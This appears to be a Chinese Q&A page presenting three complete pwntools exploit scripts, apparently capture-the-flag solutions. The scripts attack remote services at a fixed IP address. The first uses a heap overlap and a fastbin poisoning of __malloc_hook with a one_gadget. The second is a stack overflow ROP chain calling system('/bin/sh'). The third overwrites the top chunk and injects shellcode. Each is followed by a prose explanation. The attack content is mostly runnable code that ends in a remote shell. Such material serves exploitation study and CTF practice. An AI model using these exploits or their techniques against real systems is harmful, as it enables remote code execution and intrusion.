import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice): p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com): menu(1) # menu(1) p.sendlineafter(b"Damage of skill : ",str(size)) p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size): menu(2) p.sendlineafter(b"Index :",str(idx)) p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com): menu(3) p.sendlineafter(b"Index :",str(idx)) p.sendlineafter(b"introduction of skill : ",com) def show(idx): menu(4) p.sendlineafter(b"Index :",str(idx)) def delete(idx): menu(5) p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()这串代码的知识点

这段代码主要使用了 pwntools 库来和程序进行交互，利用了程序中的漏洞来进行攻击。攻击的主要过程是：

1.创建四个技能，然后删除第三个技能。

2.编辑第一个技能的简介，将其覆盖为一段长度为 0x38 的字符串加上一个字节为 0xb1 的字符。

3.删除第一个技能，并创建一个长度为 0x40 的新技能。

4.读取第二个技能的简介，从中获取了程序运行时的 libc 基地址。

5.计算了一个函数的地址，然后将第二个技能的简介重新编辑，将其覆盖为一段长度为 0x20 的字符串加上一个指向 malloc_hook 的指针。

6.删除了第一个和第二个技能，并创建了两个新技能，最后触发了程序中的一个函数，从而获得了 shell。

这个攻击使用了 libc 中的一些函数和常量，例如 malloc_hook 和 one_gadget。同时，攻击中还用到了 pwntools 库中的一些函数，例如 remote、sendlineafter 和 recvuntil。

相关问题

from pwn import * import struct import os context(os='linux', arch='amd64', log_level='debug') elf = ELF("./Login") libc = ELF("./libc-2.23.so") DEBUG = 0 def exp(p): p.recvuntil("Here is a tip: 0x") std_addr = int(p.recv(12), 16) info("std_addr----->"+hex(std_addr)) libc.address = std_addr - 0x3c48e0 p.recvuntil("input the username:\n") p.send(b"a"*28+b"\xCC\x15\xCC\x15") p.recvuntil("input the password:\n") payload = b"a"*0x28 + p64(0x00000000004008c3) + p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym["system"]) p.send(payload) p.interactive() def main(): if DEBUG: p = process("./Login") gdb.attach(p, "source ./.gdbinit") exp(p) else: p = remote("59.110.164.72", 10000) exp(p) if __name__ == "__main__": main()这串代码的知识点

这是一段使用 pwntools 库编写的 exploit 脚本，用于攻击一个名为 Login 的程序。该脚本的主要作用是通过溢出 Login 程序的缓冲区来实现攻击，并最终获取一个 shell。

具体来说，该脚本的主要知识点包括：

1. 使用 pwntools 库中的各种函数来与目标程序进行交互，如 `recvuntil`、`send`、`interactive` 等。

2. 使用 `ELF` 类来解析目标程序的 ELF 文件，获取其中的地址信息等。

3. 使用 `libc` ELF 文件中的符号来获取函数地址，如 `search`、`sym` 等。

4. 使用 `gdb` 调试工具来调试目标程序，如 `process`、`attach` 等。

5. 利用栈溢出漏洞来覆盖程序的返回地址，从而实现控制程序流程的目的。

6. 利用泄漏的地址信息计算出 libc 的基地址，从而获取 libc 中的函数地址。

7. 利用 `system` 函数来执行 shell 命令，从而获取 shell。

from pwn import * context(log_level='debug',os='linux',arch='amd64') # p=process('./1') p =remote("59.110.164.72",10025) elf=ELF('./1') shellcode = asm(shellcraft.sh()) # gdb.attach(p,"b *0x400a28") # pause() payload1 =b"\x00"*24 p.sendafter(b"Start injecting\n",payload1) p.recvuntil(b"materials\n") heap_addr = int(p.recv(8),10) print (heap_addr) # heap_addr =int((heap_addr),16) print (hex(heap_addr)) sleep(0.1) p.sendline(str(-1)) #change top_chunk sleep(0.1) p.sendline(str(6296200-heap_addr)) #get_size p.sendafter(b"Answer time is close to over\n","a"*0x10) # gdb.attach(p,"b *0x400b49") # pause() payload2= b"a"*0x60+p64(0x6012a0+0x80+0x120)+p64(0x4008e3)+b"a"*0x10+\ p64(0x6012a0+0x60)+p64(0x400914)+shellcode p.sendafter(b"irect to destination\n",payload2) p.recvuntil(b"you pass") # sleep() p.recv(0x1b0) sleep(0.5) stack = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0xd0 print(hex(stack)) # gdb.attach(p,"b *0x4008e3") # pause() payload3 = b"a"*0x68+p64(stack) p.sendline(payload3) p.interactive()这串代码的知识点和用处

这段代码是针对一个名为“materials”的程序进行的攻击，该程序存在堆溢出漏洞和栈溢出漏洞。攻击的目的是获取程序的最高权限，实现远程代码执行。

代码中使用了pwntools库，主要实现了以下功能：

1. 构造堆溢出payload，通过修改堆块头部实现伪造chunk。具体地，构造了两个chunk，第一个chunk大小设为负数，通过修改top_chunk的方式使其指向第二个chunk的头部。第二个chunk的大小设为目标位置（0x6012a0+0x80+0x120）与堆基址的差值，即让其覆盖到目标位置上。然后在第二个chunk的尾部构造ROP链实现远程代码执行。

2. 获取栈地址，利用栈溢出漏洞，将ROP链的返回地址修改为栈上的地址，从而在返回时跳转到栈上执行代码。

总的来说，这段代码主要是利用了堆溢出和栈溢出漏洞，通过构造payload实现远程代码执行的攻击。